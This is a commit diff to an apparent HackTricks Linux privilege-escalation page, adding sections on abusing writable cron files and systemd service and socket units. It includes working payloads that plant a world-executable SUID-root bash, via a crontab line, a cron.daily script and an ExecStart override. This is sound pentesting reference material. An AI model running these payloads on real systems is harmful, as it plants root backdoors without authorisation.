Skip to content

Commit b1e97c4

Browse files
committed
f
1 parent dddecd7 commit b1e97c4

1 file changed

Lines changed: 88 additions & 3 deletions

File tree

src/linux-hardening/privilege-escalation/write-to-root.md

Lines changed: 88 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,11 +37,97 @@ chmod +x pre-commit
3737

3838
### Cron & Time files
3939

40-
TODO
40+
If you can **write cron-related files that root executes**, you can usually get code execution the next time the job runs. Interesting targets include:
41+
42+
- `/etc/crontab`
43+
- `/etc/cron.d/*`
44+
- `/etc/cron.hourly/*`, `/etc/cron.daily/*`, `/etc/cron.weekly/*`, `/etc/cron.monthly/*`
45+
- Root's own crontab in `/var/spool/cron/` or `/var/spool/cron/crontabs/`
46+
- `systemd` timers and the services they trigger
47+
48+
Quick checks:
49+
50+
```bash
51+
ls -la /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly 2>/dev/null
52+
find /var/spool/cron* -maxdepth 2 -type f -ls 2>/dev/null
53+
systemctl list-timers --all 2>/dev/null
54+
grep -R "run-parts\\|cron" /etc/crontab /etc/cron.* /etc/cron.d 2>/dev/null
55+
```
56+
57+
Typical abuse paths:
58+
59+
- **Append a new root cron job** to `/etc/crontab` or a file in `/etc/cron.d/`
60+
- **Replace a script** already executed by `run-parts`
61+
- **Backdoor an existing timer target** by modifying the script or binary it launches
62+
63+
Minimal cron payload example:
64+
65+
```bash
66+
echo '* * * * * root cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash' >> /etc/crontab
67+
```
68+
69+
If you can only write inside a cron directory used by `run-parts`, drop an executable file there instead:
70+
71+
```bash
72+
cat > /etc/cron.daily/backup <<'EOF'
73+
#!/bin/sh
74+
cp /bin/bash /tmp/rootbash
75+
chown root:root /tmp/rootbash
76+
chmod 4777 /tmp/rootbash
77+
EOF
78+
chmod +x /etc/cron.daily/backup
79+
```
80+
81+
Notes:
82+
83+
- `run-parts` usually ignores filenames containing dots, so prefer names like `backup` instead of `backup.sh`.
84+
- Some distros use `anacron` or `systemd` timers instead of classic cron, but the abuse idea is the same: **modify what root will execute later**.
4185

4286
### Service & Socket files
4387

44-
TODO
88+
If you can write **`systemd` unit files** or files referenced by them, you may be able to get code execution as root by reloading and restarting the unit, or by waiting for the service/socket activation path to trigger.
89+
90+
Interesting targets include:
91+
92+
- `/etc/systemd/system/*.service`
93+
- `/etc/systemd/system/*.socket`
94+
- Drop-in overrides in `/etc/systemd/system/<unit>.d/*.conf`
95+
- Service scripts/binaries referenced by `ExecStart=`, `ExecStartPre=`, `ExecStartPost=`
96+
- Writable `EnvironmentFile=` paths loaded by a root service
97+
98+
Quick checks:
99+
100+
```bash
101+
ls -la /etc/systemd/system /lib/systemd/system 2>/dev/null
102+
systemctl list-units --type=service --all 2>/dev/null
103+
systemctl list-units --type=socket --all 2>/dev/null
104+
grep -R "^ExecStart=\\|^EnvironmentFile=\\|^ListenStream=" /etc/systemd/system /lib/systemd/system 2>/dev/null
105+
```
106+
107+
Common abuse paths:
108+
109+
- **Overwrite `ExecStart=`** in a root-owned service unit you can modify
110+
- **Add a drop-in override** with a malicious `ExecStart=` and clear the old one first
111+
- **Backdoor the script/binary** already referenced by the unit
112+
- **Hijack a socket-activated service** by modifying the corresponding `.service` file that starts when the socket receives a connection
113+
114+
Example malicious override:
115+
116+
```ini
117+
[Service]
118+
ExecStart=
119+
ExecStart=/bin/sh -c 'cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod 4777 /tmp/rootbash'
120+
```
121+
122+
Typical activation flow:
123+
124+
```bash
125+
systemctl daemon-reload
126+
systemctl restart vulnerable.service
127+
# or trigger the socket-backed service by connecting to it
128+
```
129+
130+
If you cannot restart services yourself but can edit a socket-activated unit, you may only need to **wait for a client connection** to trigger execution of the backdoored service as root.
45131

46132
### Overwrite a restrictive `php.ini` used by a privileged PHP sandbox
47133

@@ -112,4 +198,3 @@ chmod +x server-command
112198
- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
113199

114200
{{#include ../../banners/hacktricks-training.md}}
115-

0 commit comments

Comments
 (0)